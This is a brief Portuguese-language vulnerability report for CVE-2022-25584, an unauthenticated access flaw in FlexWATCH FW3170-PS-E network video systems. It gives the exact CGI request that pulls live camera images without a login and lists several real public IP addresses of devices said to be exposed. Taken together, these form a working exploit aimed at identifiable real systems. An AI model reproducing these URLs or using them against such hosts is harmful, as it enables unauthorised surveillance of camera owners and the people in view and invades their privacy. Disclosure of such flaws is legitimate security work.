
Flexwatch-CVE
Flexwatch-CVE
Este documento é para CVE-2022-25584 "RESERVED"
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25584

Esta vulnerabilidade foi indexada pelo CNVD, mas ainda não foi divulgada publicamente
CNVD ID:CNVD-2021-103443

Vulnerabilidade para reproduzir:
Descobrimos que o FlexWATCH FW3170-PS-E Network Video System 4.23-3000_GY, de propriedade da Seyeon Tech Co., Ltd., possui uma vulnerabilidade de acesso não autenticado, que pode ser explorada por atacantes para obter imagens de monitoramento e vazar informações sensíveis
Por exemplo:
http://211.174.227.102:10001/app/multi/single.asp

Então,podemos visitar:http://211.174.227.102:10001/cgi-bin/fwcamimgsave.cgi?FwModId=0&PortId=0&FwCgiVer=0x0001
Baixar tela de monitoramento em tempo real


Site oficial da empresa:http://www.flexwatch.com/
Outros casos:
http://211.240.10.38:10001/app/multi/single.asp
http://121.133.21.35:10001/app/multi/single.asp
http://210.223.145.159:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://27.1.124.18:10001/app/multi/single.asp
http://183.100.61.196:10001/app/multi/single.asp
http://118.176.196.247:10001/app/multi/single.asp